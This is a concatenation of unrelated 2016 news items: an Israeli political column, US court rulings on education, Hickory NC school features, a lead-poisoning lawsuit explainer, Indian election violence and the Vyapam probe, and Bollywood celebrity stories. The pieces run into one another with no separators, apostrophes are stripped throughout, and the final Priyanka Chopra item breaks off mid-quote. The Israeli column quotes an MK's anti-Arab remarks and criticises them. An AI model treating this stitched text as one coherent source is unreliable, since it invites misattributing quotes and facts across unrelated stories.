Four issues in current headlines may be causing some Israelis to avoid the news, and embarrassment for our overseas friends, while they are sending other Israelis to various sides of virtual barricades.

One is that young soldier who killed a Palestinian in Hebron.

Another is the faltering deal to expand the plaza alongside the Western Wall so that non-Orthodox Jews can pray as they wish at Judaisms iconic site.

The third is the arousal of an issue associated with the newborn wards of Israeli hospitals, i.e., should Jewish and Arab women be put in the same rooms?

Number four is an attractive and articulate young woman who had been a high-flying real estate developer, but when her company tanked, the bankruptcy inspector found that she had taken substantial resources for her personal use, and the issue became something for the police.

Weve heard alot about the near dead Palestinian provided with a fatal shot to the head by a soldier who wasnt part of the earlier operation against him. The Palestinian already had numerous bullet wounds, wasnt going anywhere, and had been checked by an officer for explosives. The young Israeli has changed his story and is not believed by the IDF prosecutors, but he has supporters. Right wing Likudniks are threatening to unseat the Defense Minister in the next party primary due to the Ministers condemnation of the soldiers conduct.

A deal formulated by government ministers and representatives of Reform and Conservative Judaism to expand the area alongside the Western Wall and open it to non-Orthodox rituals may be falling apart. Opposition comes primarily from ultra-Orthodox and Orthodox rabbis, as well as Palestinians who see any construction alongside the Temple Mount as threatening the sanctity of al Aqsa Mosque.

The issue perplexes, embarrasses, or passes by Israels secular Jews. They are more than 40 percent of the Jewish population, and dont have a dog in this fight.

Many feel nothing more than fatigue from the religious of various kinds. Conservative and Reform women, donning themselves in kipa, tallit, tfilin, and insisting on doing rituals reserved for men among the Orthodox appear more bizarre than helpful in obtaining recognition.

Jews have an advantage as well as problems in being both an ethnic group or tribe, and having various kinds of affiliation to a religion.

Conservative and Reform Jews may be Jews (overlooking the quarrels of Orthodox Jews about converts via non-Orthodox procedures), but adherents of a different religion or denomination than the Orthodox.

Its possible to view their demanding a place along the Western Wall as equivalent to Protestants demanding equal rights in Vatican City and the Basilica of St Peter.

These are issues that confuse as well as offend American Jews. Those of us who count votes, however, recognize that the Reform and Conservative have few or none in the Knesset, while the Orthodox and ultra-Orthodox have enough to be partners in virtually every government coalition since 1948.

Reform and Conservative Jews should not expect support from secular Israelis. Years ago, one secular politician said something like, Were not religious, we dont pray in anybodys synagogue, and we see no point in taking the side of one or another group of religious Jews.

The Prime Minister and some of his colleagues sought a deal in order to keep peace with American Jews and American politicians. But no less important to them are the votes of Orthodox and ultra-Orthodox colleagues in a coalition hanging onto office with a shaky margin of one vote .

As if we didnt have enough on our plate, an MK from the Orthodox/Settler party Jewish Home has made an issue about putting new Jewish mothers in the same hospital rooms with new Arab mothers.

Elegance is not apparent in the comments of MK Bezalel Smotrich.

My wife is truly no racist, but after giving birth she wants to rest rather than have a haflaa mass feast often accompanied by music and dancinglike the Arabs have after their births... Its natural that my wife wouldnt want to lie down [in a bed] next to a woman who just gave birth to a baby who might want to murder her baby twenty years from now... Arabs are my enemies and thats why I dont enjoy being next to them.

Comments by Smothrichs wife, Revital, were hardly more enlightened.

(I) kicked an Arab obstetrician out of the [delivery] room. I want Jewish hands to touch my baby, and I wasnt comfortable lying in the same room with an Arab woman. . . .I refuse to have an Arab midwife, because for me giving birth is a Jewish and pure moment.

The storm was not long in coming. Smotrichs party leader, Naftali Bennett, quoted the Mishnah that every human created in Gods image is favored, and added that it means every human, Jewish or Arab.

Arab politicians were harsher, and the spokespeople of various hospitals reported that they do or do not honor requests to put Arab and Jewish women in different rooms after childbirth.

The Ministry of Health announced that it was against policy to segregate patients or staff according to ethnicity or religion.

Our little Adi and her mother had Arab roommates. The babies cried in the same language, and we dont recall complaints from their families.

Some of the most professional of medical personnel weve dealt with have been Arabs, Armenians, or Jews who speak with a Russian accent.

The real estate developer doesnt rank with any of the above as anything distinctively Israeli. Rather, she demonstrates that some of us are as vulnerable to greed as in any society. Weve seen videos of her trying to persuade angry people who paid for apartments she had no authority to build, with overlay commentary about her selling the same apartments to different people, use of company funds for overseas travel not connected with the business, expensive jewelry, a classy motorcycle, a luxury car, and a payoff to her former husband.

For a few days we were hearing about the collapse of her real estate firm. Then we began hearing that the police were telling her that she could remain silent, but that anything she said could be used in court against her.

Thats us. Not all Israelis can overlook ethnic/religious differences or display indifference to material goods in the way of year-old Adi.

It aint all pretty. But which countrys population can claim better?

Those expecting the Promised Land to be Paradise on Earth or impeccable morality from Gods Chosen People, should think some more.

Comments welcome

Ira Sharkansky (Emeritus), Department of Political Science, Hebrew University of Jerusalem, irashark@gmail.com.
A group alleging that K-12 science education standards adopted by Kansas will result in anti-religious instruction in the states public schools lacked standing to bring such a suit, a federal appeals court has ruled.

The ruling came in the case of Citizens for Objective Public Education (COPE), which objects to science standards adopted by the Kansas State Board of Education in 2013. The state board adopted a framework published by the National Research Council and the Next Generation Science Standards published by a group of 26 states.

As with most such standards, they are focused on what students in a particular grade should know and be able to do, but they are not a curriculum.

COPE alleged in its suit that the state standards were a de facto science curriculum that establish a non-religious worldview because they teach students from an early age about the origins and nature of life with only non-religious explanations such as the theory of evolution. The group said this amounted to an unconstitutional government establishment of religion.

A federal district court rejected COPEs suit, ruling that the group and its members could not create standing for a First Amendment establishment clause claim.

In its April 19 decision in Citizens for Objective Public Education v. Kansas State Board of Education , a three-judge panel of the U.S. Court of Appeals for the 10th Circuit, in Denver, unanimously agreed with the lower court.

The appeals court said any legal injury from the adoption of the standards was speculative because school districts could choose not to embrace the state standards, and they could develop curricula that taught alternatives to origin theories.

COPE does not offer any facts to support the conclusion that the [Kansas] standards condemn any religion or send a message of endorsement, the court said. And any fear of biased instruction is premised on COPEs predictions of school districts responses to the standardsan attempt by COPE to recast a future injury as a present one.

The appeals court said it wasnt ruling on the merits of COPEs claims, but it noted that the group seemed to be seeking a requirement that if schools teach evolution, they also teach what the group calls supernatural or teleological origins theories.

The court said such a requirement would be identical to the requirement imposed by a Louisiana law that prohibited that states public schools from teaching evolution unless they also taught the theory of creation science.

The appeals court noted that the U.S. Supreme Court struck down the Louisiana law as a violation of the establishment clause of the U.S. Constitution in the 1987 case of Edwards v. Aguillard .
HICKORY  It was a homecoming filled with smiles and music Thursday at Northview Middle for Hickory High 2001 alum Jamaal Jones.

He returned to Catawba County with his string orchestra from Frederick Douglas Academy in Brooklyn, New York. The FDA middle school musicians rehearsed with and performed for the students at Northview Middle.

It also was a chance to share the stage one more time with his former music teacher Sally Ross. She directs the orchestras at both Hickory High and Northview Middle.

I taught him for seven years. He started in our string program, Ross said. Wed fallen out of touch over the years, but my husband ran into him at the Farmers Market. He was visiting his parents.

He started telling me about his school which he is very excited about and we started talking about just some things that string teachers talk about.

Eventually their discussion ended up on trips, one of Joness favorite memories as an orchestra student in Hickory. Ross knew her high school students last year were eager to visit New York so it was an easy sell to include a visit to FDA to see Jones, who got a chance to return the hospitality this year.

Its like the culminating thing of a career when you see a kid like this, and hes not a kid now hes a grown man, find success, Ross said. Hes going to be an amazing teacher.

Jones gave all the credit to Ross for inspiring his love for music and teaching.

To be able to come back and do this is amazing. Ive used some of the lessons I got from her with these kids, so it shouldnt be too much of a difference between she and I.

After graduating from Hickory High School, Jones earned his Bachelor of Science in Music Business and Recording Engineering from Winston-Salem State University and then got his Master of Arts in Music Education (K-12) from Hunter College.

After being a guest performer at FDA, he was invited to join the staff.

Hes pretty much the reason we developed the strings orchestra the way it is, FDA Principal Chantal Grandchamps said. He is the founder of it at our school and bringing strings to children of east New York because there is no other school that is doing that in our district. Hes not only making a mark at FDA, hes making a mark in District 19 in East New York.

Jones sees music as a new language for students, linking them together.

The brain reroutes itself and theres so much math and science involved in it and also socially, I mean these kids came in in sixth grade not knowing anybody and in a city like New York. Its a big city but its small at the same time, so theyre kind of like family, Jones said.

Also emotionally, we come from an area of Brooklyn thats not the most affluent and they have an opportunity to get out emotions of any kind. Sometimes home lives are different and I get an opportunity to play any kind of music they want and would like to play so theres a lot of passion involved, a lot of expression involved.

That passion was obvious when both the FDA students and the Northview Middle string orchestra members took the stage to rehearse a song together.

It shows me that if I work hard enough, I could be a musician. I could be the next Bach or Beethoven, FDA sixth-grader Myles Edwards said. It shows that when both of these schools work hard, and when we played Dragon Hunter, we succeeded. The trip taught me that in middle school and life youre supposed to have fun, and when I play music, it kind of shows me, its like my chance to relax.

Northview Middle sixth-grader Costen Holtzman was equally thrilled to share the stage with some new friends.

I think that its a really neat and cool idea that (FDA) can come here and experience it in Hickory and be different like from a small city to a big city, Holtzman said. Its fun to see how much we can learn together and how we play a piece here and they play a piece there and we come together and we do it and its really fun.

Thursdays stop for the FDA students was just one in a busy schedule that filled the week.

Highlights included a tour of Morehouse College in Georgia, the Martin Luther King Jr. National Historic Site and a tour of Wake Forest University.

The trip to Hickory culminated with a combined strings performance at Corinth Reformed Church in Hickory at 4 p.m.
Californias Court of Appeal ruled Wednesday 2-1 against a group of education advocates and parents challenging the constitutionality of the states education spending, refusing to overturn a lower court ruling that blocked their suit from going to trial.

In 2010, the several student advocacy groups, claimed in two separate lawsuits that the states constitution guarantees a minimally funded quality education and that the states then-existing funding formula did not meet that expectation.

Later in 2010, the Alameda County Superior Court said that while the California constitution guarantees a quality education, it doesnt establish a minimum amount of spending or level of education every child should receive. The states Court of Appeals, based in San Francisco, upheld that ruling, essentially denying the case a trial.

As much as I can appreciate the plaintiffs frustration and dissatisfaction with the overall adequacy of Californias public schools, and recognize our legislatures challenges in adequately funding schools to meet the standards it sets, I cannot agree that [the constitution] provides a right to command the state to fund schools at some qualitative level, wrote Associate Judge Peter Siggins.

Associate Judge Stuart Pollak wrote in his dissent,"As the majority of state courts addressing this issue has recognized, if the constitutional provision is to have meaning, it must imply that the system of common schools must provide some minimum qualitative level of education. Such a reading of (the constitution) is fully consistent with, if not compelled by, the importance that our Supreme Court historically has placed on the role of education and the recognition that it is a fundamental right of all the states children.

The plaintiffs said they will appeal the cases, Maya Robles-Wong v. State of California and Campaign for Quality Education v. State of California, to the states supreme court.

Education Week wrote about this lawsuit in 2010 when it was first filed. At the time, the states fiscal crisis had left districts across California making drastic cuts. Since then, the state has redesigned its funding formula and increased its spending by historic amounts.

Dont miss another State EdWatch post. Sign up here to get news alerts in your email inbox. And make sure to follow @StateEdWatch on Twitter for the latest news from state K-12 policy and politics.
HICKORY  What do you do when your cars sun visor just isnt cutting it?

Well if youre a Lenoir-Rhyne University student you use the schools brand new 3D printer to design a solution. Thats exactly what LRU senior Joseph Eley recently did as a member of the first 3D printing class at the university.

Technology now, is more advanced and getting to know a tool, work with a tool like this, its pretty interesting and helps build skills, Eley said.

Thats exactly what LRU Adjunct Physics professor Dr. Douglas Knight and associate professor Helen Caldwell were shooting for when they began looking into which 3D printer LRU should purchase. The university got the Flashforge Creator Pro machine last year for $1,400.

Were wanting to teach our students when they graduate from LR, especially with a physics degree or any science or technical degrees, real world skills they can use at a job and help them get a job, Knight said. To do that you need to work with what places are using now for development purposes.

Knight has used these types of machines himself in the past and knew he wanted to do more than just teach his students how to program the printer.

The 3D printer is capable of creating a prototype quickly to help companies see if it will work before investing much more money in a traditional prototype.

But you cant just be a user, he said. You got to know how to do a lot of different things with it, so we teach the students in this class not just how to use the machine or design with it. We teach them how the machine works. We teach them how to repair it. We teach them how to upgrade it, maintain it, program it.

The final project for this first 3D printing class was to design something that would help solve a real-world problem.

Those plastic floss picks, Im making a model where you can feed floss through and just throw the floss away not the plastic, LRU senior Dylan Millwood said.

I was really stoked. I never thought Id get to use one or looked into using them but when I found out there was one on campus, it was like, I got to print something.

Eley decided to focus on a car issue for his final project  that new and improved sun visor.

I created two hooks so you just put it on your visor and then Im going to use some type of acrylic or other material to use it as a slide door mechanism to adjust it to pretty much cover the blind spot, Eley said.

While the machine is in a physics class right now, Knight knows the applications for the 3D printer are endless.

Weve actually talked to the biology department. Weve got some ideas on how to use it for their stuff, Knight said.

His class has already printed a model of a liver cell for the biology department.

Youre going to see more and more of it. One of our students, she works at a technology company and they have one at her job, he said.

Thinh Truong, a junior at LRU and a double major in mathematics and physics, also had a clear idea of what he wanted for his final project in the 3D class  a fashionable wristband for your iPhone or Smartphone.

A lot of companies use a pouch like for going to the gym. This will be similar to that but this will be more stylish so that you can wear it in a normal occasion, Truong said.

The idea is I would have a customized 3D phone case design printed separately from the wristband and that wristband will serve by itself as a fashionable material to wear and then I just snap on the phone so if I dont want my phone on my hand I can take it out and put it in my pocket and still use the wristband as a decorative material.
The Texas State Teachers Association has filed suit in a state district court seeking to block the July 1 rollout of a new teacher-evaluation system. The union contends that the system, which would have districts base at least 20 percent of a teachers score on student growth measures, violates a state law that requires that educators evaluations be based exclusively on observable, job-related behavior.

The new Texas Teacher Evaluation and Support System, or T-TESS, opens the door to the use of controversial, so-called value-added measures (VAM) to gauge teachers impact on test results, the suit asserts. In a statement released along with the suit, the union argues that VAM isnt in fact observable as required by law.

Commissioner Moraths appraisal system clearly violates state law because he doesnt have the authority to substitute a confusing, test-based statistical formula for the work teachers and students actually do in their classrooms, union president Noel Candelaria said in a statement. Teachers are not robots, and their performance should be evaluated by an easily understood, transparent system that helps them perfect their job performance. Lets be clear. Educators compensation and jobs are potentially on the line here, and their work must be evaluated fairlyand legally.

The unionthe Texas affiliate of the National Education Association representing teachers in over 400 districtscites a much-circulated policy statement by the American Statistical Association to back up their claims. My co-blogger Stephen Sawchuk reported on that brief when it was released back in 2014:

Its takeaways for the K-12 community: Proceed carefully and make sure teachers, administrators, and parents are aware of VAM's limitations. For instance, the group notes, test quality and the types of controls used in the formulas will affect the end results. Moreover, the ASA says, the focus on individual teachers' performance could detract from needed attention to system improvement. "

T-TESS would only be voluntary for districts to adopt, but all districts in the state must adopt an evaluation system that includes some measure of student performance by the 2017-18 school year. The Texas Tribune reported that most districts do in fact adopt the state-suggested system to ensure theyre in line with state and federal rules.

As the system is optional, T-TESS will have no effect on an on-going federal lawsuit over Houstons evaluation system. As Sawchuk reported, the Houston Federation of Teachers allege that the districts use of VAM violates teachers constitutional rights. Sawchuk noted that the Houston suit came on the heels of similar efforts in Florida and Tennessee. As I reported last month, lawmakers in both of those states have been considering bills that would curtail the use of VAM.

In all, there have been well over a dozen lawsuits filed in federal and state courts challenging aspects of test-based evaluation systems. Some cases are still pending, but none has been successful yet.
When Can You Sue for a Child's Lead Poisoning?

Lead poisoning, which until recently seemed like it might become a thing of the past, is back in the national spotlight. Children in Flint, Michigan have been injured and lawsuits, criminal and civil, stemming from lead in the drinking water in that area are being filed.

This week three government officials became the first to face criminal charges for the Flint water crisis, and they could potentially spend years in prison. Meanwhile, class actions on behalf of injured children, as well as individual claims based on lead poisoning, are already under way. If you are contemplating such a case, here are some considerations.

Lead Poisoning

Parents whose children experienced lead poisoning in Flint said they saw a visible change in children's behavior. They went from cheerful to irritable, energetic to sluggish, and were not as mentally acute. This is blamed on the toxic levels of lead in the Michigan city's drinking water.

But lead can be found in many places and things, air, water, even toys. It can be in gasoline, construction materials, old house paints, and more. Children under seven years old are most severely impacted by the effects of lead and high levels of it in the blood cause serious neurological damage. But adults are also susceptible to the effects of lead poisoning.

Personal Injury lawsuit

You can pursue a lawsuit for personal injury based on lead poisoning if you see or suspect signs of these effects on your child, and know the source of the poison. Even if you are not sure exactly what the source is, talk to a lawyer. Your attorney can ask for more tests, or for you to see specific medical professionals for treatment, in order to establish your cause of action.

Consult With Counsel

When you go see a personal injury attorney, you just need to articulate your story. It's an opportunity to discuss the injury and see if there is more to it, potential angles to pursue to recover damages.

Find the lawyer for you, and together you two can go over the details, consider potential defendants, and create a timeline trying to connect the injury to use of a particular product or some environmental change. Get help figuring out your case. Many personal injury attorneys consult for free or a minimal fee and will be happy to talk.

Related Resources:
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Future historians will look back at 12 December 2015  the date the Paris Agreement on Climate Change was adopted  as a great turning point for humanity. It is a major step towards preventing some of the worst risks that climate change presents to global security. More than 160 world leaders ratified the Agreement in New York yesterday, signalling the time to usher our economies to a more sustainable and energy secure future.

Advances in renewable energy generation, energy storage, smart grids, and improved energy efficiency will help countries meet their climate targets. Nations must increase their targets if we are to limit temperature rise to less than 2C  which is challenging, but possible.

Read | Developed nations will be tested on cutting emissions: Javadekar

The Agreement sets out a clear goal of net zero emissions in the second half of the century. The Paris Agreement sends a strong signal to industry and investors that the shift to a low carbon economy is global, irreversible, and transformational. Cost benefit analysis now shows that it is a higher-risk strategy for business not to invest in sustainable, low carbon or carbon neutral projects

In the last two years more renewable energy was installed worldwide than fossil fuel energy. In the UK, renewable energy is the fastest growing sector where 11,500 companies employ 460,000 people, with a turnover of 100 billion recorded in 2014. Falling costs mean clean energy technologies such as wind, solar and LEDs can now compete with traditional technologies. The clean energy market is currently worth 4 trillion and is expected to rise to between 7 trillion and 10 trillion a year by 2030.

Radical technological innovation can reduce the cost of supply, but needs targeted support and an appropriate framework. The Mission Innovation initiative promotes publicly funded research, development and demonstration. Our aim is to make the cost of renewable energy cheaper than fossil fuels. It is supported by President Barack Obama and President Francois Hollande, Prime Ministers Narendra Modi and David Cameron amongst others. Twenty nations have joined the initiative with an annual spend of approximately US$20 billion. In addition, Bill Gates committed to invest US$1 billion, bringing in other investors who each put in US$1 billion.

Read | India needs $1 trillion in energy investments by 2030: Goyal

Renewable energy is the biggest opportunity of our age, for the private sector, scientific and industrial community. PM Modis leadership on renewables has given India the chance to boost its renewable energy generating capacity and provide energy access to millions. This translates into bright prospects for innovative Indian businesses that can stamp their leadership in the sector, globally. During PM Modis visit to the UK just two weeks before the Paris conference, PM Cameron and PM Modi agreed to work together to address climate change. Minister for Power Piyush Goyal held meetings with UK ministers in London last week to discuss next steps. The UK is committed to strengthen the energy partnership and continue its bilateral cooperation with India in tackling climate change.

David King is the UK Foreign Secretarys Special Representative on Climate Change

The views expressed are personal
Uttarakhand High Court Chief Justice KM Joseph and Justice VK Bist, in a historic verdict, not only quashed the imposition of Presidents Rule in the state but also reinstated Harish Rawat as chief minister. The court rightly held that misuse of Article 356 does undermine federalism and breeds cynicism in the hearts of citizens. The Congress was rightly criticised for abusing such emergency powers when the party was in power. The extraordinary powers under Article 356 are to be used as a last resort and with greatest care, said the two-judge bench. The stay of the order by the Supreme Court till April 27 on the assurance by the attorney general that Presidents Rule would not be revoked will not end this debate on the use and misuse of powers under Article 356. It may be recalled that the Centre had refused to give such an assurance to the Uttarakhand High Court.

READ: Rule of law: Uttarakhand crisis puts the ball back in court

Constitutionalism is an idea of limited government. It means the powers of the state must be restricted. Article 356 gives too wide powers to the Centre to dismiss elected governments. Doing so by encouraging defections from the ruling party and then asserting that the government lost its majority is not only unethical but damages the BJPs reputation as a party with a difference.

In the SR Bommai case (1994), the Supreme Court had observed that the powers under Article 356 were extraordinary and must be used sparingly. The Uttarakhand High Court was bound to follow this precedent and thats why it came down heavily on the Centre and observed that it was behaving like a private party in search of finding opportunities to topple opposition governments.

Our courts were initially wary of interfering in purely political questions under Article 356 and avoided judicial scrutiny of the emergency powers. But, due to the frequent misuse of such powers, courts started examining the question of the breakdown of constitutional machinery in the state. When the Janata government in the 1970s proposed dismissing nine Congress governments in one go, the Supreme Court asserted its powers of judicial review to examine if the executive action was mala fide or there were extraneous considerations or where President failed to take into account relevant considerations. Decades later, the dismissal of the Sunderlal Patwa government was held unconstitutional by the Madhya Pradesh High Court.

In 1993, the Pakistan Supreme Court had reinstated the Nawaz Sharif government, dismissed by the President, and our apex court had relied on this verdict in deciding the landmark decision in the Bommai case, in which a nine judge Bench held that a presidential proclamation was judicially reviewable to the extent of examining whether it was at all issued on the basis of any material, or whether the material was relevant, or whether the proclamation was issued in the mala fide exercise of power. The imposition of Presidents Rule in Karnataka, Meghalaya and Nagaland was held unconstitutional. However, the deposed governments were not revived because elections had intervened thereafter.

READ: An avoidable political-judicial tussle in Uttarakhand

In 1996, a full bench of the Allahabad High Court had quashed the extension of Presidents Rule in UP beyond a year because there was neither a national emergency in operation nor had the Election Commission of India certified that fair and free elections could not be held in the state. In 1997, the Patna High Court in an unprecedented order disapproved of the functioning of the Bihar government and recommended Presidents Rule in the state, saying the President need not act just on the governors report to invoke Article 356. The court cited a CAG report on the irregularities committed by the government in various employment programmes.

The Union governments unusual powers to dismiss a state government in a multi-party country like India can be used against opposition-run state governments. Indira Gandhi as prime minister frequently used such powers to dismiss even Congress governments. No other liberal democratic constitution in the world except that of Pakistan has incorporated such an undemocratic provision. As a matter of fact, both India and Pakistan adopted this highly regressive provision from the infamous Government of India Act, 1935. Our freedom fighters had protested so much against this provision that the British government was compelled not to implement this provision.

The President can exercise powers under Article 356 either on the report of the Governor or otherwise. On the inclusion of the word otherwise, which means the President may act even without the governors report, some members of the Constituent Assembly vehemently opposed it and called the Drafting Committee, headed by BR Ambedkar, a Drifting Committee. Shibban Lal Saxena said that we are reducing the autonomy of the states to a farce; Naziruddin Ahmad saw it as a serious encroachment of provincial autonomy when he said that I think we are drifting, perhaps, unconsciously, towards a dictatorship; HV Kamath went to the extent of saying that let us wind up the Constituent Assembly and go home.

READ: Uttarakhand High Courts verdict pushes the boundary

Presidents Rule can be imposed if there is a breakdown of the constitutional machinery in the state. What does this expression mean? Article 356 says that if any piece of advice is given by the Centre and a state government does not comply with it, it shall be deemed that there is breakdown of the constitutional machinery of the state. It does not mean corruption or misuse of powers by the Speaker.

President Pranab Mukherjee should have followed the sound precedents set by KR Narayanan, who twice returned recommendations to invoke Article 356. Prime Minister Narendra Modi must allow the people to punish inefficient Congress governments or let them go out of office by getting them defeated on the floor of the assembly. Let him not achieve a Congress-mukt Bharat by employing the Congress strategy of dismissing opposition governments.

Faizan Mustafa is vice-chancellor, NALSAR University of Law

The views expressed are personal
Union minister of state for urban development, Babul Supriyo, sprinted in the lanes of North Kolkatas Jorasanko on Thursday to nab a Trinamool Congress (TMC) worker who had allegedly heckled and abused him at a poll booth, where the BJP leader had gone to cast vote with his parents.

The incident later snowballed into a standoff between the members of TMC and BJP.

I am a voter first. If I have not done anything wrong and if someone is doing wrong things to me I will definitely run, catch the person and hand him over to police. I will not be intimidated by TMCs terror tactics, Supriyo said.

Supriyo eventually managed to nab the alleged heckler and hand him over to the police. Meanwhile, TMC workers gathered at the spot and started raising slogans against the union minister. Smita Bakshi, TMCs candidate from the area, also had an altercation with Supriyo.

Babul Supriyo was disturbing the voters. He was showing us his powers. The useless policemen were standing as bystanders, she alleged.
Two Communist Party of India-Marxist (CPI-M) activists were killed in post-poll violence in West Bengals Burdwan district, police said on Friday.

The incident happened on Thursday night in Lodhna village near Khandaghosh when Sheikh Fazle Haq and Dukhiram Dal were returning home after polling duty.

They were attacked by armed men last night and subsequently succumbed to their injuries. No arrests have been made so far, Superintendent of Police Gaurav Sharma said.

The twin killings follow the murder of another Marxist activist, Tahidul Mandal, in Domkal town of Murshidabad district on Thursday during the third phase of the state assembly polls.

The CPI-M has alleged that the Trinamool Congress is behind the killings, a charge denied by the ruling party.

Haq and Dukhirams son were our polling agents. They were killed by Trinamool. The frustration of the Trinamool losing ground continues, said CPI-M state secretary Surya Kanta Mishra.

The gruesome killing of our comrades in three days proves how unnerved the Trinamool has been. The killings are the outcome of its increasing fear of impending defeat, added Mishra, who is also leader of opposition in the outgoing assembly.

Rubbishing the charges, the Trinamool leader from Khandaghosh, Uttam Sengupta, said the twin murders were a result of factional feud within the CPI-M.

Incidentally, the killings came on a day when Prime Minister Narendra Modi, campaigning in the state, said polls in Bengal are in the news for violence.

Unlike other states, the only news that one hears about polls in Bengal is how many people were killed, how many were beaten, or how many booths were looted, Modi said at election rally in Howrah on Thursday.
Donald J. Trump, Republican candidate for president, says that transgender people should use whatever bathrooms they like.

"North Carolina did something  it was very strong  and they're paying a big price," Mr. Trump said. "And there's a lot of problems. And I heard  one of the best answers I heard was from a commentator yesterday saying, leave it the way it is, right now."

He added that before the law passed, there had been "very few problems" but now North Carolina is experiencing an exodus of businesses and "strife" from people on both sides of the issue."You leave it the way it is," he said. "There have been very few complaints the way it is."

in response to a follow-up question, he said that if Caitlyn Jenner were to walk into Trump Tower and want to use a bathroom, he would be comfortable with her choosing any bathroom she wanted. "That is correct," Mr. Trump said. "You know, there's a big move to create new bathrooms" for transgender people alone, Mr. Trump said. "First of all, I think that would be discriminatory in a certain way. It would be unbelievably expensive for businesses and for the country. Leave it the way it is."
The Central Bureau of Investigation is only probing 17 deaths related to the Vyapam scam, despite the special task force (STF) acknowledging 25 scam-linked deaths before the Madhya Pradesh high court.

The Vyapam scam was an admission and recruitment scam of the Madhya Pradesh Professional Examination Board, also known as the Vyavsayik Pariksha Mandal, from where the board gets its acronym. Many politicians, senior officials and businessmen have been arrested or are accused of being part of the scam.

In its investigation, the CBI has registered preliminary inquiries in the 17 cases, which do not include the high profile cases of Narendra Singh Tomar, who died in Indore jail, and former Jabalpur medical college dean Dr DK Sakalle, who reportedly self immolated. CBI officials say they are only probing those cases which were handed over to them by the STF before Supreme Court.

Tomar, an assistant veterinary officer, reportedly died of heart attack on June 28, 2015. Narendras younger brother Vikram had raised a demand of CBI probe after the death.

It is quite surprising for us to know that CBI is not probing the case related to my brothers death. His death was not at all a natural one. He was killed in a conspiracy hatched in the jail. I met CBI officials but nothing happened. Now, I will move court, he told HT.

Whistle blowers have also raised a question against the probe.

Being a doctor, I have never seen a person suffering from a stomach ache has died of a heart attack 5-6 hours later. Narendra complained of stomach pain at 5 pm after consuming food in the jail. He was taken to hospital at 8 pm and he went there on his feet. At 11 pm, he died of cardiac arrest. I suspect he was given poison because he was healthy and physically fit , said Anand Rai, a whistle blower.

Similarly, Dr Sakalle, as the dean of a medical college, must have known the easiest way of committing suicide, and it is unlikely he would like to immolate himself and die such a painful death, he added.

Government had ruled out any possibility of conspiracy in many other deaths related to Vyapam scam as they died a few years prior to the Vyapam scam coming to light. The complaints regarding these deaths had also been lodged in 2010. The issued was also raised in the state assembly in March 2011. The death of middlemen led to cutting off of important links in many cases. There is a need to probe efficiently every death related to Vyapam scam, said Rai.

RTI activist Ajay Dubey accused the CBI of failing to live up to the expectations of the people. We are raising questions against the way the CBI is investigating the scam. Neither are they registering new cases nor are they probing all the cases registered by STF... Despite the investigation in the past nine months, the CBI has failed to live up to the expectations of lakhs of people, who expect the agency to unearth the conspiracy behind the deaths, he said.

Our only hope is from the supreme sourt. Our lawyers will raise the issue before the apex court because we have lost our trust with the CBI, he said.

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Actor Karan Singh Grover, who will marry actor Bipasha Basu on April 30 in Mumbai, has written a poem dedicated to his soon-to-be wife, expressing his love for her.

Karan took to Instagram, sharing an image of himself and Bipasha in a black and white tint where the two can be seen in a playful mood. Bipasha is clad in a white gown and Karan, who is wearing a suit, can be seen holding the veil of Bipashas white dress in his mouth.

Read: 10 days to the wedding, Karan and Bipasha are sharing cute pics for us

Read: Bipasha Basus mehendi will be a pink affair

Read: In pics | Bipasha Basu and Karan Singh Grovers amazing wedding showers

The poem reads: You take away all the darkness, you take away all my pain...You walk me through the storm, you take away all the darkness, you take away all my pain...

You walk me through the storm, through sunshine and even the rain... You give me peace, you shower me with love and fill every moment of my life with glee... With your faith and your trust you show me not who I am but who I can be...

You pat me on my back when Im right and kick my a** when Im wrong... You show me how beautiful this life is even if our path sometimes seems weary and long...You are my partner, my lover, my soulmate, my own, my friend and much more than any word can portray...I promise to be with you as you are with me forever and a day...

Eight more days to go...
An application has been filed by the Mumbai police before a local court seeking issuance of notice to authorities at Mail and Media Inc regarding information about an email ID allegedly created by an imposter in the name of Bollywood actor Hrithik Roshan.

On March 25, Hrithik had registered a complaint with the cyber crime cell in suburban BKC here claiming that the ID hroshan.email.com has been generated by an imposter and that the person was using it to communicate with his fans and others.

Hrithik had lodged the complaint after actor Kangana Ranaut at filmmaker Karan Johars birthday party in May 2014 thanked Hrithik for appreciating her work in the film Queen.

Read: A mail every 6 minutes: Kanganas conversations with Hrithik revealed

When Hrithik told her he had not seen the movie, Kangana told him that she had received an email from him from the hroshan.email.com ID and that she has been corresponding on the email ID since several months.

Hrithik then denied having any such email address and said his ID was hroshan@mac.com. Kangana, who has fallen out with Hrithik, later forwarded all the email sent and received by her from the hroshan.email.com ID.

Acting on Hrithiks complaint, the cyber crime cell on March 18 sent a letter to the Chief Technical Officer of Mail and Media Inc. which runs email.com seeking information about the said account.

The Chief Technical Officer replied to the police and asked them to contact the companys legal department at legalnotice@mail.com.

Read: Kangana-Hrithik case: Actress to record her statement on April 30

Accordingly, police sent a letter on March 31 to the legal department which stated in a reply that We require subpoena from a court to release such account information. If you are able to provide such document please address it as follows.

The cyber cell then filed the application before the metropolitan magistrate on April 18 requesting it to issue a notice to the company situated in Pennsylvania, US, under section 91 of the Criminal Procedure Code (CrPC) directing it to produce the said information.

Read: Kangana should co-operate with authorities: Hrithiks lawyers

If the court does not issue the notice then the police will not be able to probe the complaint further due to lack of information, the application filed by Cyber Crime Cell police inspector Kalpana Gadekar said.

Hrithik and Kangana are embroiled in a legal spat wherein both the actors have slapped legal notices on each other for defamation.

While Hrithik had claimed that Kangana was making false claims that they were in a relation, Kangana said they shared personal as well as professional relationship.

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The good days for Priyanka Chopra just keep getting better. The Bollywood actor has expressed gratitude for her inclusion in Time magazines prestigious list of 100 most influential people.

The 33-year-old star has been wooing the international audience post her debut American show Quantico and recently bagged an important role in Hollywood film Baywatch.

Read: Heres what The Rock wrote about Priyanka Chopra in the Time 100 issue

What a way to start the day! #Time100s list of achievers! Humbled, overwhelmed and feeling so blessed! Priyanka tweeted.

Actor-producer Dwayne Johnson, who has shared screen space with Priyanka in Baywatch, described the actress as a star rising higher, lauded her drive, ambition, self-respect, and said she knows theres no substitute for hard work.

"I want to be known as someone who has goals and achieves them..I want to be Limitless"- @priyankachopra #TIME100https://t.co/fnOeNvYD5o  Priyanka Chopra FC (@PriyankaDaily) April 21, 2016

Before ever meeting Priyanka Chopra, I had heard her name coming out of Bollywood and was impressed: she was beautiful, talented, had made nearly 50 movies, earned multiple awardsa massive star. When we connected around the time she started Quantico, we immediately hit it off.

